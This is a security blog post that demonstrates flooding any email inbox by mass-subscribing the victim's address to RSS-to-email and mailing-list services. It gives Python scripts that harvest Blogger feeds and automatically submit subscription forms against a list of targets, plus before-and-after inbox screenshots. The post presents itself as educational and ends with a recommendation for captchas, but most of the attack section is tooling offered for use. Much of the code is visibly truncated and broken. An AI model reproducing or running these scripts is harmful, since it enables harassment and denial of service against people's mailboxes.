Persianov on Security
[Blog] [Projects] [Bugtrack] [Challenges] [Contact] [RSS]

[ Newsletters vs humanity. Flood PoC ]

Aloha! Today I’m gonna show you a simple yet powerful way to flood any mail box from ANY Email Service Provider (ex.: Google, Yahoo, [aka Hotmail], etc.). This method uses the “flaws” in subscribe feature on many websites.

NOTE: All information and scripts presented in this article are for research/educational purpose ONLY.

Concept. Attack vector.

First of all, let’s look at how somebody gets subscribed to an RSS Feed nowadays (Check image below).

Subscribe sequence diagram

As you probably mentioned, we can use “Send confirmation email” step to flood a mail box. BUT there is a bottleneck… We need a HUGE list of websites, which allow their users to subscribe for news and updates. The attack vector looks like this:

Attack vector

Let’s use mailing lists and RSS to email services, like, to avoid the necessity of crawling the Web for websites with newsletter subscriptions and add a layer of anonymity. Below you can see typical web forms for GNU Mailman and Blogtrotr aggregator:

Redhat mailing list

Blogtrotr aggregator

Because these services usually are not secured by any Captcha Code, it is possible to automate the whole flood process.

Flood. Proof of Concept using a Gmail account.

In the following PoC I used Blogtrotr Service only. For this scenario we need:

  1. List of URL to RSS Feeds (all blogs on Blogger have their Atom RSS feed);
  2. Python scripts for flood automation (Warning: FAST WRITTEN. NO CLEAN CODE =) );
  3. A Gmail account (I used my personal one);

Using script, listed below, I was able to collect around 50000 unique Blogger RSS Feeds (which is more than enough).

def writeToFile(url):
    f = open("/home/num1r0/Desktop/blogs", "a+")
def nextBlog(blogID):
    import urllib2
    import re
        response = urllib2.urlopen('' + str(blogID))
        html_code =
        match ='(\d+)(/posts/default)', html_code)
        url  =
        code =
        return (url, code)
        print "URLOPEN Error"
        return nextBlog("7485359467295721807")
def main():
    from random import randint
    lCodes = []
    url, code = nextBlog("7485359467295721807")
    while True:
        if code in lCodes:
            print "Existing ID"
            url, code = nextBlog(lCodes[randint(0, len(lCodes) - 1)])
            print "New blog: %s" % (url, )
            url, code = nextBlog(code)
if __name__ == '__main__':

Now, it’s time for the script which submits Blogtrotr form requests (install mechanize as a dependency). Because this is just a Proof of Concept, I’ve hard coded a lot of stuff there, but it still floods OK.

import sys
import threading, mechanize
class coreThread(threading.Thread):
    def __init__(self, target, feedsList):
        self.browser = mechanize.Browser() = target
        self.feedsList = feedsList
    def run(self):
    def sendMessages(self):
        self.browser = createBrowser([])
        self.browser, htmlCode = browseWebsite(self.browser, "")
        formIdentifier = ("id", "subscribe-form")
        for feed in self.feedsList:
            inputData = [("btr_url", str(feed.split("\n")[0])), ("btr_email", str(]
            submitForm(self.browser, formIdentifier, inputData)
def createBrowser(httpHeaders):
    # httpHeaders - is a list of tuples [(), ()]
    global DEBUG_LEVEL
    # Check if mechanize is installed
        import mechanize
        print "You need to install mechanize module for Python"
    # Initiate the Browser object
    browser = mechanize.Browser()
    if len(httpHeaders) > 0:
        browser.addheaders = httpHeaders
        if DEBUG_LEVEL == "INFO":
            print "No headers passed"
    return browser
def setProxy(browser, proxyAddress, proxyPort):
    # Set proxy server, if any
    browser.set_proxies({"http": proxyAddress + ":" + proxyPort})
    return browser
def browseWebsite(browser, urlAddress):
    # Browse to specified URL address and get html code of the page
    response =
    htmlCode =
    return (browser, htmlCode)
def submitForm(browser, formIdentifier, inputData):
    # formIdentifier - is a tuple (tag, value)
    # inputData - is a list of tuples (value of name tag and value of value attribute)
    formNumber = 0
    # Get the number of form to submit
    for form in browser.forms():
        # Using <id> tag of the form
            if str(form.attrs[str(formIdentifier[0])]) == str(formIdentifier[1]):
        formNumber = formNumber + 1
    # Select form with specified order number
    # Set all form inputs
    for elem in inputData:
        browser.form[str(elem[0])] = elem[1]
    # Submit form

And the last piece of the puzzle: script. It is “multi-threaded”, using only two threads (Remember? Educational purposes only)

import core as sender
import thread, threading
import time
import sys
def getTargetList(fileName):
    # One target per each line
    targetsFile = open(fileName, "r")
    targets = targetsFile.readlines()
    return targets
def getFeedList(fileName):
    # One RSS feed per each line
    feedsFile = open(fileName, "r")
    feeds = feedsFile.readlines()
    return feeds
def main():
    # Get parameters (ex. 1000 /path/to/feeds /path/to/targets)
    numberMessages = sys.argv[1]
    feedsFile = sys.argv[2]
    targetsFile = sys.argv[3]
    # Get targets and feeds from specified files
    targets = getTargetList(targetsFile)
    feeds = getFeedList(feedsFile)
    feedsListHead = feeds[0:int(int(numberMessages)/2)]
    feedsListTail = feeds[int(int(numberMessages)/2):int(numberMessages)]
    for target in targets:
            thread1 = sender.coreThread(target, feedsListHead)
            thread2 = sender.coreThread(target, feedsListTail)
        except Exception as ex:
            print ex
if __name__ == '__main__':

Execute it like: <number_of_emails_to_send> <path_to_rss_feeds_file> <path_to_recipients_file>


A picture is worth one thousand words (second picture free of charge =))

Inbox before

Inbox after


As usual, we have to choose between Security and Usability. In my opinion a lot of web resources have their newsletter subscription functionality left unsecured. Of course, adding an optional field, like captcha, will decrease user experience, BUT at least RSS-to-Email Services and Mailing List Managers (like GNU Mailman) could add this extra measure.

Hopefully they will.

Liked it? Share it: